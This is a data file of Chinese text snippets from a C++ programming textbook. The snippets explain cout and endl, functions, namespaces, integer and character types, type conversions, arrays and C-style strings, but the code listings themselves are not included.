    {"text": "这里重要的不是这些运算符的具体功能，而是同一个符号可以有多种含义，而编译器可以根据上下文来确定其含义（这和确定“sound card”中的“sound”与“sound financial basic”中的“sound”的含义是一样的）。"},
    {"text": "1．控制符endl 现在来看看程序清单2.1中第二个输出流中看起来有些古怪的符号： endl是一个特殊的C++符号，表示一个重要的概念：重起一行。"},
    {"text": "打印字符串时，cout不会自动移到下一行，因此在程序清单2.1中，第一条cout语句将光标留在输出字符串的后面。 每条cout语句的输出从前一个输出的末尾开始，因此如果省略程序清单2.1中的endl，得到的输出将如下： 从上述输出可知，Y紧跟在句点后面。"},
    {"text": "显示字符串时，在字符串中包含换行符，而不是在末尾加上endl，可减少输入量： 另一方面，如果要生成一个空行，则两种方法的输入量相同，但对大多数人而言，输入endl更为方便： 本书中显示用引号括起的字符串时，通常使用换行符\\n，在其他情况下则使用控制符endl。"},
    {"text": "通常，必须用空格、制表符或回车将两个标记分开，空格、制表符和回车统称为空白（white space）。 有些字符（如括号和逗号）是不需要用空白分开的标记。"},
    {"text": "下面的一些示例说明了什么情况下可以使用空白，什么情况下可以省略： 图2.3 标记和空白 2．C++源代码风格 虽然C++在格式方面赋予了您很大的自由，但如果遵循合理的风格，程序将更便于阅读。"},
    {"text": "然而，在C++中，将声明CastleDark，但不会声明被错误拼写的CastleDank，因此对应的C++代码将违反“使用变量前必须声明它”的规则，因此编译器将捕获这种错误，发现潜在的问题。"},
    {"text": "在C和Pascal中，所有的变量声明通常都位于函数或过程的开始位置，但C++没有这种限制。 实际上，C++通常的做法是，在首次使用变量前声明它。"},
    {"text": "2.2.3 cout的新花样 到目前为止，本章的示例都使用cout来打印字符串，程序清单2.2使用cout来打印变量，该变量的值是一个整数： 程序没有打印“carrots”，而是打印存储在carrots中的整数值，即25。"},
    {"text": "在C语言中，要打印字符串“25”和整数25，可以使用C语言的多功能输出函数printf( )： 撇开printf( )的复杂性不说，必须用特殊代码（%s和%d）来指出是要打印字符串还是整数。"},
    {"text": "程序清单2.3 getinfo.cpp 程序调整 如果您发现在以前的程序清单中需要添加cin.get( )，则在这个程序清单中，需要添加两条cin.get( )语句，这样才能在屏幕上看到输出。"},
    {"text": "得到的输出与下述代码生成的相似： 根据有关cout的建议，也可以按照这样的方式重写拼接版本，即将一条语句放在4行上： 这是由于C++的自由格式规则将标记间的换行符和空格看作是可相互替换的。"},
    {"text": "类是用户定义的一种数据类型。 要定义类，需要描述它能够表示什么信息和可对数据执行哪些操作。 类之于对象就像类型之于变量。 也就是说，类定义描述的是数据格式及其用法，而对象则是根据数据格式规范创建的实体。"},
    {"text": "它是一个ostream类对象。 ostream类定义（iostream文件的另一个成员）描述了ostream对象表示的数据以及可以对它执行的操作，如将数字或字符串插入到输出流中。 同样，cin是一个istream类对象，也是在iostream中定义的。"},
    {"text": "要对特定对象执行这些允许的操作，需要给该对象发送一条消息。 例如，如果希望cout对象显示一个字符串，应向它发送一条消息，告诉它，“对象！"},
    {"text": "因此，下面的语句使用重新定义的<<运算符将“显示消息”发送给cout： 在这个例子中，消息带一个参数—要显示的字符串（参见图2.5）。"},
    {"text": "假设要计算6.25的平方根，并将这个值赋给变量x，则可以在程序中使用下面的语句： 表达式sqrt(6.25)将调用sqrt( )函数。 表达式sqrt(6.25)被称为函数调用，被调用的函数叫做被调用函数（called function），包含函数调用的函数叫做调用函数（calling function，参见图2.6）。"},
    {"text": "C++提供这种信息的方式是使用函数原型语句。 注意： C++程序应当为程序中使用的每个函数提供原型。 函数原型之于函数就像变量声明之于变量—指出涉及的类型。"},
    {"text": "程序清单2.4演示了库函数sqrt( )的用法，它通过包含cmath文件来提供该函数的原型： 程序清单2.4 sqrt.cpp 注意： 如果使用的是老式编译器，则必须在程序清单2.4中使用#include <math.h>，而不是#include<cmath>。"},
    {"text": "使用库函数 C++库函数存储在库文件中。 编译器编译程序时，它必须在库文件搜索您使用的函数。 至于自动搜索哪些库文件，将因编译器而异。"},
    {"text": "如果运行程序清单2.4时，将得到一条消息，指出_sqrt是一个没有定义的外部函数（似乎应当避免），则很可能是由于编译器不能自动搜索数学库（编译器倾向于给函数名添加下划线前缀—提示它们对程序具有最后的发言权）。"},
    {"text": "如果在UNIX实现中遇到这样的消息，可能需要在命令行结尾使用-lm选项： 在Linux系统中，有些版本的Gnu编译器与此类似： 只包含cmath头文件可以提供原型，但不一定会导致编译器搜索正确的库文件。"},
    {"text": "可以在原型中使用关键字void来指定返回类型，以指出函数没有返回值： 由于它不返回值，因此不能将该函数调用放在赋值语句或其他表达式中。"},
    {"text": "2．函数头 在程序清单2.5中，simon( )函数的函数头如下： 开头的void表明simon( )没有返回值，因此调用simon( )不会生成可在main( )中将其赋给变量的数字。 因此，第一个函数调用方式如下： 由于simon( )没有返回值，因此不能这样使用它： 图2.8 函数定义在文件中依次出现 括号中的int n表明，使用simon( )时，应提供一个int参数。"},
    {"text": "可以把main用作变量名（在一些很神秘的以致于无法在这里介绍的情况中，将main用作变量名会引发错误，由于它在任何情况下都是容易混淆的，因此最好不要这样做）。"},
    {"text": "如果返回表达式的值很麻烦，可以采取更复杂的方式： 这两个版本返回的结果相同，但第二个版本更容易理解和修改，因为它将计算和返回分开了。"},
    {"text": "例如，stonetolb( )返回一个int值，这意味着可以以下面的方式使用该函数： 在上述任何一种情况下，程序都将计算返回值，然后在语句中使用这个值。"},
    {"text": "2.4.5 在多函数程序中使用using编译指令 在程序清单2.5中，两个函数中都包含下面一条using编译指令： 这是因为每个函数都使用了cout，因此需要能够访问位于名称空间std中的cout定义。 在程序清单2.5中，可以采用另一种方法让两个函数都能够访问名称空间std，即将编译指令放在函数的外面，且位于两个函数的前面： 当前通行的理念是，只让需要访问名称空间std的函数访问它是更好的选择。 例如，在程序清单2.6中，只有main( )函数使用cout，因此没有必要让函数stonetolb( )能够访问名称空间std。 因此编译指令using被放在函数main( )中，使得只有该函数能够访问名称空间std。 总之，让程序能够访问名称空间std的方法有多种，下面是其中的4种。"},
    {"text": "在特定的函数中使用类似using std::cout;这样的编译指令，而不是using namespace std;，让该函数能够使用指定的元素，如cout。 完全不使用编译指令using，而在需要使用名称空间std中的元素时，使用前缀std::，如下所示： 命名约定 C++程序员给函数、类和变量命名时，可以有很多种选择。"},
    {"text": "就函数名称而言，程序员有以下选择： Myfunction( ) myfunction( ) myFunction( ) my_function( ) my_funct( ) 选择取决于开发团体、使用的技术或库以及程序员个人的品位和喜好。"},
    {"text": "类是用户定义的数据类型规范，它详细描述了如何表示信息以及可对数据执行的操作。 对象是根据类规范创建的实体，就像简单变量是根据数据类型描述创建的实体一样。"},
    {"text": "5．什么语句可以用来创建名为cheeses的整数变量？ 6．什么语句可以用来将值32赋给变量cheeses？ 7．什么语句可以用来将从键盘输入的值读入变量cheeses中？ 8．什么语句可以用来打印“We have X varieties of cheese,”，其中X为变量cheeses的当前值。"},
    {"text": "4．编写一个程序，让用户输入其年龄，然后显示该年龄包含多少个月，如下所示： {:--} 5．编写一个程序，其中的main( )调用一个用户定义的函数（以摄氏温度值为参数，并返回相应的华氏温度值）。 该程序按下面的格式要求用户输入摄氏温度值，并显示结果： 下面是转换公式： 华氏温度 = 1.8×摄氏温度 + 32.0 6．编写一个程序，其main( )调用一个用户定义的函数（以光年值为参数，并返回对应天文单位的值）。"},
    {"text": "该程序按下面的格式要求用户输入光年值，并显示结果： 天文单位是从地球到太阳的平均距离（约150000000公里或93000000英里），光年是光一年走的距离（约10万亿公里或6万亿英里）（除太阳外，最近的恒星大约离地球4.2光年）。"},
    {"text": "C++内置的整型——unsigned long、long、unsigned int、int、unsigned short、short、char、unsigned char、signed char和bool。 C++11新增的整型：unsigned long long和long long。"},
    {"text": "3.1 简单变量 程序通常都需要存储信息—如Google股票当前的价格、纽约市8月份的平均湿度、美国宪法中使用最多的字母及其相对使用频率或猫王模仿者的数目。"},
    {"text": "以两个下划线或下划线和大写字母打头的名称被保留给实现（编译器及其使用的资源）使用。 以一个下划线开头的名称被保留给实现，用作全局标识符。"},
    {"text": "最后一点使得C++与ANSI C（C99标准）有所区别，后者只保证名称中的前63个字符有意义（在ANSI C中，前63个字符相同的名称被认为是相同的，即使第64个字符不同）。"},
    {"text": "同样，和函数名称一样，只要变量名合法，C++编译器就不会介意，但是一致、精确的个人命名约定是很有帮助的。 与函数命名一样，大写在变量命名中也是一个关键问题（参见第2章的注释“命名约定”），但很多程序员可能会在变量名中加入其他的信息，即描述变量类型或内容的前缀。"},
    {"text": "随着对C++的逐步了解，将发现很多有关前缀命名风格的示例（包括漂亮的m_lpctstr前缀—这是一个类成员值，其中包含了指向常量的长指针和以空字符结尾的字符串），还有其他更奇异、更违反直觉的风格，采不采用这些风格，完全取决于程序员。"},
    {"text": "C++的基本整型（按宽度递增的顺序排列）分别是char、short、int、long和C++11新增的long long，其中每种类型都有符号版本和无符号版本，因此总共有10种类型可供选择。"},
    {"text": "3.1.3 整型short、int、long和long long 计算机内存由一些叫做位（bit）的单元组成（参见本章后面的旁注“位与字节”）。 C++的short、int、long和long long类型通过使用不同数目的位来存储值，最多能够表示4种不同的整数宽度。"},
    {"text": "这意味着可以把16位单元设置成65 536个不同的值，把32位单元设置成4 294 672 296个不同的值，把64位单元设置为18 446 744 073 709 551 616个不同的值。"},
    {"text": "C++字节由至少能够容纳实现的基本字符集的相邻位组成，也就是说，可能取值的数目必须等于或超过字符数目。 在美国，基本字符集通常是ASCII和EBCDIC字符集，它们都可以用8位来容纳，所以在使用这两种字符集的系统中，C++字节通常包含8位。"},
    {"text": "通常，在老式IBM PC的实现中，int的宽度为16位（与short相同），而在Windows XP、Windows Vista、Windows 7、Macintosh OS X、VAX和很多其他微型计算机的实现中，为32位（与long相同）。"},
    {"text": "可以像使用int一样，使用这些类型名来声明变量： 实际上，short是short int的简称，而long是long int的简称，但是程序设计者们几乎都不使用比较长的形式。 这4种类型（int、short、long和long long）都是符号类型，这意味着每种类型的取值范围中，负值和正值几乎相同。"},
    {"text": "但对变量名（如n_short）使用该运算符，括号是可选的： 头文件climits定义了符号常量（参见本章后面的旁注“符号常量—预处理器方式”）来表示类型的限制。"},
    {"text": "表3.1climits中的符号常量 符 号 常 量 表 示 CHAR_BIT char的位数 CHAR_MAX char的最大值 CHAR_MIN char的最小值 SCHAR_MAX signed char的最大值 SCHAR_MIN signed char的最小值 UCHAR_MAX unsigned char的最大值 SHRT_MAX short的最大值 SHRT_MIN short的最小值 USHRT_MAX unsigned short的最大值 INT_MAX int的最大值 INT_MIN int的最小值 UNIT_MAX unsigned int的最大值 LONG_MAX long的最大值 LONG_MIN long的最小值 ULONG_MAX unsigned long的最大值 LLONG_MAX long long的最大值 LLONG_MIN long long的最小值 ULLONG_MAX unsigned long long的最大值 符号常量—预处理器方式 climits文件中包含与下面类似的语句行： 在C++编译过程中，首先将源代码传递给预处理器。"},
    {"text": "甚至可以使用表达式来初始化变量，条件是当程序执行到该声明时，表达式中所有的值都是已知的： 如果将uncles的声明移到语句列表的最后，则另外两条初始化语句将非法，因为这样当程序试图对其他变量进行初始化时，uncles的值是未知的。"},
    {"text": "前面的初始化语法来自C语言，C++还有另一种C语言没有的初始化语法： 警告： 如果不对函数内部定义的变量进行初始化，该变量的值将是不确定的。"},
    {"text": "3．C++11初始化方式 还有另一种初始化方式，这种方式用于数组和结构，但在C++98中，也可用于单值变量： 将大括号初始化器用于单值变量的情形还不多，但C++11标准使得这种情形更多了。"},
    {"text": "以前，C++使用不同的方式来初始化不同的类型：初始化类变量的方式不同于初始化常规结构的方式，而初始化常规结构的方式又不同于初始化简单变量的方式； 通过使用C++新增的大括号初始化器，初始化常规变量的方式与初始化类变量的方式更像。 C++11使得可将大括号初始化器用于任何类型（可以使用等号，也可以不使用），这是一种通用的初始化语法。"},
    {"text": "程序清单3.2 exceed.cpp 下面是该程序的输出： 该程序将一个short变量（sam）和一个unsigned short变量（sue）分别设置为最大的short值，在我们的系统上，是32767。"},
    {"text": "如果第一位是0，第二位为1～7，则基数为8（八进制）； 因此042的基数是8，它相当于十进制数34。 如果前两位为0x或0X，则基数为16（十六进制）； 因此0x42为十六进制数，相当于十进制数66。 对于十六进制数，字符a～f和A～F表示了十六进制位，对应于10～15。 0xF为15，0xA5为165（10个16加5个1）。"},
    {"text": "程序清单3.3 hexoct.cpp 在默认情况下，cout以十进制格式显示整数，而不管这些整数在程序中是如何书写的，如下面的输出所示： 记住，这些表示方法仅仅是为了表达上的方便。"},
    {"text": "程序清单3.4 hexoct2.cpp 下面是运行该程序时得到的输出： 诸如cout<<hex;等代码不会在屏幕上显示任何内容，而只是修改cout显示整数的方式。"},
    {"text": "另外，由于标识符hex位于名称空间std中，而程序使用了该名称空间，因此不能将hex用作变量名。 然而，如果省略编译指令using，而使用std::cout、std::endl、std::hex和std::oct，则可以将hex用作变量名。"},
    {"text": "答案是，除非有理由存储为其他类型（如使用了特殊的后缀来表示特定的类型，或者值太大，不能存储为int），否则C++将整型常量存储为int类型。"},
    {"text": "整数后面的l或L后缀表示该整数为long常量，u或U后缀表示unsigned int常量，ul（可以采用任何一种顺序，大写小写均可）表示unsigned long常量（由于小写l看上去像1，因此应使用大写L作后缀）。"},
    {"text": "在int为16位、long为32位的计算机系统上，20000被表示为int类型，40000被表示为long类型，3000000000被表示为long long类型。 对于不带后缀的十六进制或八进制整数，将使用下面几种类型中能够存储该数的最小类型来表示：int、unsigned int long、unsigned long、long long或unsigned long long。 在将40000表示为long的计算机系统中，十六进制数0x9C40（40000）将被表示为unsigned int。 这是因为十六进制常用来表示内存地址，而内存地址是没有符号的，因此，usigned int比long更适合用来表示16位的地址。"},
    {"text": "程序清单3.6说明了这一点，该程序还演示了如何在C++中书写字符字面值：将字符用单引号括起，如'M'（注意，示例中没有使用双引号。"},
    {"text": "程序清单3.6 morechar.cpp 下面是程序清单3.6中程序的输出： 1．程序说明 在程序清单3.6中，‘M’表示字符M的数值编码，因此将char变量ch初始化为‘M’，将把c设置为77。"},
    {"text": "请看下面的代码： 如果您输入5并按回车键，上述代码将读取字符“5”，并将其对应的字符编码（ASCII编码53）存储到变量ch中。 请看下面的代码： 如果您也输入5并按回车键，上述代码将读取字符“5”，将其转换为相应的数字值5，并存储到变量n中。"},
    {"text": "只能通过类的特定对象（例如这里的cout对象）来使用成员函数。 要通过对象（如cout）使用成员函数，必须用句点将对象名和函数名称（put( )）连接起来。"},
    {"text": "下面的语句从常量‘M’中复制8位（左边的8位）到变量ch中： 遗憾的是，这意味着对cout来说，‘M’和ch看上去有天壤之别，虽然它们存储的值相同。"},
    {"text": "因此，下面的语句将打印$字符的ASCII码，而不是字符$： 但下面的语句将打印字符$： 在Release 2.0之后，C++将字符常量存储为char类型，而不是int类型。"},
    {"text": "转义序列n\\表示换行符，\\”将双引号作为常规字符，而不是字符串分隔符。 可以在字符串或字符常量中使用这些表示法，如下例所示： 最后一行的输出如下： 表3.2C++转义序列的编码 字 符 名 称 ASCII符号 C++代码 十进制ASCII码 十六进制ASCII码 换行符 NL (LF) \\n 10 0xA 水平制表符 HT \\t 9 0x9 垂直制表符 VT \\v 11 0xB 退格 BS \\b 8 0x8 回车 CR \\r 13 0xD 振铃 BEL \\a 7 0x7 反斜杠 \\ \\ 92 0x5C 问号 ? \\? 63 0x3F 单引号 ' \\ ' 39 0x27 双引号 \" \\ \" 34 0x22 注意，应该像处理常规字符（如Q）那样处理转义序列（如\\n）。"},
    {"text": "换行符可替代endl，用于在输出中重起一行。 可以以字符常量表示法（‘\\n’）或字符串方式（“n”）使用换行符。 下面三行代码都将光标移到下一行开头： 可以将换行符嵌入到较长的字符串中，这通常比使用endl方便。 例如，下面两条cout语句的输出相同： 显示数字时，使用endl比输入“\\n”或‘\\n’更容易些，但显示字符串时，在字符串末尾添加一个换行符所需的输入量要少些： 最后，可以基于字符的八进制和十六进制编码来使用转义序列。"},
    {"text": "它使用振铃字符来提请注意，使用换行符使光标前进，使用退格字符使光标向左退一格（Houdini曾经在只使用转义序列的情况下，绘制了一幅哈得逊河图画；"},
    {"text": "然而，Unicode还包含其他拉丁字符，如欧洲语言使用的拉丁字符、来自其他语言（如希腊语、西里尔语、希伯来语、切罗基语、阿拉伯语、泰语和孟加拉语）中的字符以及象形文字（如中国和日本的文字）。 到目前为止，Unicode可以表示109000多种符号和90多个手写符号（script），它还在不断发展中。"},
    {"text": "Unicode给每个字符指定一个编号—码点。 Unicode码点通常类似于下面这样：U-222B。 其中U表示这是一个Unicode字符，而222B是该字符（积分正弦符号）的十六进制编号。"},
    {"text": "如果char有某种特定的行为对您来说非常重要，则可以显式地将类型设置为signed char 或unsigned char： 如果将char用作数值类型，则unsigned char和signed char之间的差异将非常重要。 unsigned char类型的表示范围通常为0～255，而signed char的表示范围为−128到127。"},
    {"text": "8位char可以表示基本字符集，另一种类型wchar_t（宽字符类型）可以表示扩展字符集。 wchar_t类型是一种整数类型，它有足够的空间，可以表示系统使用的最大扩展字符集。"},
    {"text": "下面的代码将字母P的wchar_t版本存储到变量bob中，并显示单词tall的wchar_t版本： 在支持两字节wchar_t的系统中，上述代码将把每个字符存储在一个两个字节的内存单元中。"},
    {"text": "C++11使用前缀u表示char16_t字符常量和字符串常量，如u‘C’和u“be good”； 并使用前缀U表示char32_t常量，如U‘R’和U“dirty rat”。"},
    {"text": "类型char16_t与/u00F6形式的通用字符名匹配，而类型char32_t与/U0000222B形式的通用字符名匹配。 前缀u和U分别指出字符字面值的类型为char16_t和char32_t： 与wchar_t一样，char16_t和char32_t也都有底层类型—一种内置的整型，但底层类型可能随系统而已。"},
    {"text": "然而，现在可以使用bool类型来表示真和假了，它们分别用预定义的字面值true和false表示。 也就是说，可以这样编写语句： 字面值true和false都可以通过提升转换为int类型，true被转换为1，而false被转换为0： 另外，任何数字值或指针值都可以被隐式转换（即不用显式强制转换）为bool值。 任何非零值都被转换为true，而零被转换为false： 在第6章介绍if语句后，示例中将经常使用数据类型bool。"},
    {"text": "本章前面关于#define语句的说明（旁注“符号常量—预处理器方法”）指出过，C++有一种更好的处理符号常量的方法，这种方法就是使用const关键字来修改变量声明和初始化。"},
    {"text": "例如，假设需要一个表示一年中月份数的符号常量，请在程序中输入下面这行代码： 这样，便可以在程序中使用Months，而不是12了（在程序中，12可能表示一英尺有多少英寸或一打面包圈是多少个，而名称Months指出了值12表示的是什么）。"},
    {"text": "例如，加利福尼亚的Shasta山脉的高度为14179英尺，该数字使用了5个有效位，指出了最接近的英尺数。 然而，将Shasta山脉的高度写成约14000英尺时，有效位数为2位，因为结果经过四舍五入精确到了千位。"},
    {"text": "（cfloat是C语言的float.h文件的C++版本。 ）下面是Borland C++ Builder的float.h文件中的一些批注项： 注意： 有些C++实现尚未添加头文件cfloat，有些基于ANSI C之前的编译器的C++实现没有提供头文件float.h。"},
    {"text": "读取包含文件 C++源文件开头的包含编译指令总是有一种魔咒的力量，新手C++程序员通过阅读和体验来了解哪个头文件添加哪些功能，再一一包含它们，以便程序能够运行。"},
    {"text": "每种运算符都使用两个值（操作数）来计算结果。 运算符及其操作数构成了表达式。 例如，在下面的语句中： 4和2都是操作数，+是加法运算符，4+2则是一个表达式，其值为6。"},
    {"text": "请看下面的语句： 操作数4也位于两个运算符中间，但运算符/和*的优先级相同，因此优先级本身并不能指出程序究竟是先计算120除以4，还是先计算4乘以5。"},
    {"text": "当两个运算符的优先级相同时，C++将看操作数的结合性（associativity）是从左到右，还是从右到左。 从左到右的结合性意味着如果两个优先级相同的运算符被同时用于同一个操作数，则首先应用左侧的运算符。 从右到左的结合性则首先应用右侧的运算符。"},
    {"text": "它与整数除法相结合，尤其适用于解决要求将一个量分成不同的整数单元的问题，例如将英寸转换为英尺和英寸，或者将美元转换为元、角、分、厘。"},
    {"text": "程序清单3.12 modulus.cpp 下面是该程序的运行情况： 在表达式lbs/Lbs_per_stn中，两个操作数的类型都是int，所以计算机执行整数除法。"},
    {"text": "为处理这种潜在的混乱，C++自动执行很多类型转换： 将一种算术类型的值赋给另一种算术类型的变量时，C++将对值进行转换； 表达式中包含不同的类型时，C++将对值进行转换； 将参数传递给函数时，C++将对值进行转换。"},
    {"text": "例如，假设so_long的类型为long，thirty的类型为short，而程序中包含这样的语句： 则进行赋值时，程序将thirty的值（通常是16位）扩展为long值（通常为32位）。 扩展后将得到一个新值，这个值被存储在so_long中，而thirty的内容不变。"},
    {"text": "表3.3潜在的数值转换问题 转 换 潜在的问题 将较大的浮点类型转换为较小的浮点类型，如将double转换为float 精度（有效数位）降低，值可能超出目标类型的取值范围，在这种情况下，结果将是不确定的 将浮点类型转换为整型 小数部分丢失，原来的值可能超出目标类型的取值范围，在这种情况下，结果将是不确定的 将较大的整型转换为较小的整型，如将long转换为short 原来的值可能超出目标类型的取值范围，通常只复制右边的字节 将0赋给bool变量时，将被转换为false；"},
    {"text": "2．以{ }方式初始化时进行的转换（C++11） C++11将使用大括号的初始化称为列表初始化（list-initialization），因为这种初始化常用于给复杂的数据类型提供值列表。"},
    {"text": "例如，可将long变量初始化为int值，因为long总是至少与int一样长； 相反方向的转换也可能被允许，只要int变量能够存储赋给它的long常量： 在上述代码中，初始化c4时，您知道x的值为66，但在编译器看来，x是一个变量，其值可能很大。"},
    {"text": "在这种情况下，C++将执行两种自动转换：首先，一些类型在出现时便会自动转换； 其次，有些类型在与其他类型同时出现在表达式中时将被转换。"},
    {"text": "还有其他一些整型提升：如果short比int短，则unsigned short类型将被转换为int； 如果两种类型的长度相同，则unsigned short类型将被转换为unsigned int。"},
    {"text": "（1）如果有一个操作数的类型是long double，则将另一个操作数转换为long double。 （2）否则，如果有一个操作数的类型是double，则将另一个操作数转换为double。 （3）否则，如果有一个操作数的类型是float，则将另一个操作数转换为float。"},
    {"text": "（5）在这种情况下，如果两个操作数都是有符号或无符号的，且其中一个操作数的级别比另一个低，则转换为级别高的类型。 （6）如果一个操作数为有符号的，另一个操作数为无符号的，且无符号操作数的级别比有符号操作数高，则将有符号操作数转换为无符号操作数所属的类型。 （7）否则，如果有符号类型可表示无符号类型的所有可能取值，则将无符号操作数转换为有符号操作数所属的类型。 （8）否则，将两个操作数都转换为有符号类型的无符号版本。"},
    {"text": "例如，为将存储在变量thorn中的int值转换为long类型，可以使用下述表达式中的一种： 强制类型转换不会修改thorn变量本身，而是创建一个新的、指定类型的值，可以在表达式中使用这个值。"},
    {"text": "例如，可以像下面这样将thorn转换为long类型： 推而广之，可以这样做： Stroustrup认为，C语言式的强制类型转换由于有过多的可能性而极其危险，这将在第15章更深入地讨论。"},
    {"text": "计算auks时，首先将浮点值相加，然后在赋值时，将总数转换为int。 但计算bats和coots时，首先通过强制类型转换将浮点值转换为int，然后计算总和。"},
    {"text": "例如，在程序清单3.14中，char变量ch存储的是字母Z的编码。 将cout用于ch将显示字符Z，因为ch的类型为char。 但通过将ch强制转换为int类型，cout将采用int模式，从而打印存储在ch中的ASCII码。"},
    {"text": "在初始化声明中，如果使用关键字auto，而不指定变量的类型，编译器将把变量的类型设置成与初始值相同： 然而，自动推断类型并非为这种简单情况而设计的；"},
    {"text": "例如，假设您要将x、y和z都指定为double类型，并编写了如下代码： 显式地声明类型时，将变量初始化0（而不是0.0）不会导致任何问题，但采用自动类型推断时，这却会导致问题。"},
    {"text": "整型从最小到最大依次是：bool、char、signed char、unsigned char、short、unsigned short、int、unsigned int、long、unsigned long以及C++11新增的long long和unsigned long long。"},
    {"text": "C++11新增了类型char16_t和char32_t，它们的宽度足以分别存储16和32位的字符编码。 C++确保了char足够大，能够存储系统基本字符集中的任何成员，而wchar_t则可以存储系统扩展字符集中的任意成员，short至少为16位，而int至少与short一样长，long至少为32位，且至少和int一样长。"},
    {"text": "为了计算BMI，该程序以英寸的方式指出用户的身高（1英尺为12英寸），并将以英寸为单位的身高转换为以米为单位的身高（1英寸=0.0254米）。"},
    {"text": "下面是该程序运行时的情况： 4．编写一个程序，要求用户以整数方式输入秒数（使用long或long long变量存储），然后以天、小时、分钟和秒的方式显示这段时间。"},
    {"text": "该程序的输出应与下面类似： 6．编写一个程序，要求用户输入驱车里程（英里）和使用汽油量（加仑），然后指出汽车耗油量为一加仑的里程。 如果愿意，也可以让程序要求用户以公里为单位输入距离，并以升为单位输入汽油量，然后指出欧洲风格的结果—即每100公里的耗油量（升）。 7．编写一个程序，要求用户按欧洲风格输入汽车的耗油量（每100公里消耗的汽油量（升）），然后将其转换为美国风格的耗油量—每加仑多少英里。"},
    {"text": "例如，数组可以存储60个int类型的值（这些值表示游戏5年来的销售量）、12个short值（这些值表示每个月的天数）或365个float值（这些值指出一年中每天在食物方面的开销）。"},
    {"text": "例如，下面的声明创建一个名为months的数组，该数组有12个元素，每个元素都可以存储一个short类型的值： 事实上，可以将数组中的每个元素看作是一个简单变量。"},
    {"text": "声明数组的通用格式如下： 表达式arraySize指定元素数目，它必须是整型常数（如10）或const值，也可以是常量表达式（如8 * sizeof（int）），即其中所有的值在编译时都是已知的。"},
    {"text": "作为复合类型的数组 数组之所以被称为复合类型，是因为它是使用其他类型来创建的（C语言使用术语“派生类型”，但由于C++对类关系使用术语“派生”，所以它必须创建一个新术语）。"},
    {"text": "程序清单4.1 arrayone.cpp 下面是该程序的输出： 4.1.1 程序说明 该程序首先创建一个名为yams的包含3个元素的数组。 由于yams有3个元素，它们的编号为0～2，因此arrayone.cpp使用索引0～2分别给这三个元素赋值。 Yam的每个元素都是int，都有int类型的权力和特权，因此arrayone.cpp能够将值赋给元素、将元素相加和相乘，并显示它们。"},
    {"text": "您可能还记得，sizeof运算符返回类型或数据对象的长度（单位为字节）。 注意，如果将sizeof运算符用于数组名，得到的将是整个数组中的字节数。 但如果将sizeof用于数组元素，则得到的将是元素的长度（单位为字节）。"},
    {"text": "4.1.2 数组的初始化规则 C++有几条关于初始化数组的规则，它们限制了初始化的时刻，决定了数组的元素数目与初始化器中值的数目不相同时将发生的情况。"},
    {"text": "例如，下面的语句只初始化hotelTips的前两个元素： 如果只对数组的一部分进行初始化，则编译器将把其他元素设置为0。 因此，将数组中所有的元素都初始化为0非常简单—只要显式地将第一个元素初始化为0，然后让编译器将其他元素都初始化为0即可： 如果初始化为{1}而不是{0}，则第一个元素被设置为1，其他元素都被设置为0。"},
    {"text": "4.1.3 C++11数组初始化方法 第3章说过，C++11将使用大括号的初始化（列表初始化）作为一种通用初始化方式，可用于所有类型。 数组以前就可使用列表初始化，但C++11中的列表初始化新增了一些功能。 首先，初始化数组时，可省略等号（=）： 其次，可不在大括号内包含任何东西，这将把所有元素都设置为零： 第三，列表初始化禁止缩窄转换，这在第3章介绍过： 在上述代码中，第一条语句不能通过编译，因为将浮点数转换为整型是缩窄操作，即使浮点数的小数点后面为零。"},
    {"text": "字符串提供了一种存储文本信息的便捷方式，如提供给用户的消息（“请告诉我您的瑞士银行账号”）或来自用户的响应（“您肯定在开玩笑”）。"},
    {"text": "如果使用cout显示上面的cat这样的字符串，则将显示前7个字符，发现空字符后停止。 但是，如果使用cout显示上面的dog数组（它不是字符串），cout将打印出数组中的8个字母，并接着将内存中随后的各个字节解释为要打印的字符，直到遇到空字符为止。"},
    {"text": "不必担心，有一种更好的、将字符数组初始化为字符串的方法—只需使用一个用引号括起的字符串即可，这种字符串被称为字符串常量（string constant）或字符串字面值（string literal），如下所示： 用引号括起的字符串隐式地包括结尾的空字符，因此不用显式地包括它（参见图4.2）。"},
    {"text": "另外，各种C++输入工具通过键盘输入，将字符串读入到char数组中时，将自动加上结尾的空字符（如果在运行程序清单4.1中的程序时发现，必须使用关键字static来初始化数组，则初始化上述char数组时也必须使用该关键字）。"},
    {"text": "让数组比字符串长没有什么害处，只是会浪费一些空间而已。 这是因为处理字符串的函数根据空字符的位置，而不是数组长度来进行处理。 C++对字符串长度没有限制。"},
    {"text": "在ASCII系统上，'S'只是83的另一种写法，因此，下面的语句将83赋给shirt_size： 但\"S\"不是字符常量，它表示的是两个字符（字符S和\\0）组成的字符串。"},
    {"text": "因此下面的语句试图将一个内存地址赋给shirt_size： 由于地址在C++中是一种独立的类型，因此C++编译器不允许这种不合理的做法（本章后面讨论指针后，将回过头来讨论这个问题）。"},
    {"text": "因此，下面所有的输出语句都是等效的： 注意，拼接时不会在被连接的字符串之间添加空格，第二个字符串的第一个字符将紧跟在第一个字符串的最后一个字符（不考虑\\0）后面。"},
    {"text": "4.2.2 在数组中使用字符串 要将字符串存储到数组中，最常用的方法有两种—将数组初始化为字符串常量、将键盘或文件输入读入到数组中。"},
    {"text": "该程序使用符号常量来指定数组的长度。 程序常常有多条语句使用了数组长度。 使用符号常量来表示数组长度后，当需要修改程序以使用不同的数组长度时，工作将变得更简单—只需在定义符号常量的地方进行修改即可。"},
    {"text": "cin使用空白（空格、制表符和换行符）来确定字符串的结束位置，这意味着cin在获取字符数组输入时只读取一个单词。 读取该单词后，cin将该字符串放到数组中，并自动在结尾添加空字符。"},
    {"text": "例如，假设要使用getline( )将姓名读入到一个包含20个元素的name数组中。 可以使用这样的函数调用： 这将把一行读入到name数组中—如果这行包含的字符不超过19个。"},
    {"text": "也就是说，可以采用下面的调用序列： 另一种使用get( )的方式是将两个类成员函数拼接起来（合并），如下所示： 之所以可以这样做，是由于cin.get（name，ArSize）返回一个cin对象，该对象随后将被用来调用get( )函数。 同样，下面的语句将把输入中连续的两行分别读入到数组name1和name2 中，其效果与两次调用cin.getline( )相同： 程序清单4.5采用了拼接方式。"},
    {"text": "程序清单4.5 instr3.cpp 下面是程序清单4.5中程序的运行情况： 需要指出的一点是，C++允许函数有多个版本，条件是这些版本的参数列表不同。"},
    {"text": "如果使用的是cin.get（name，ArSize），则编译器知道是要将一个字符串放入数组中，因而将使用适当的成员函数。 如果使用的是cin.get( )，则编译器知道是要读取一个字符。"},
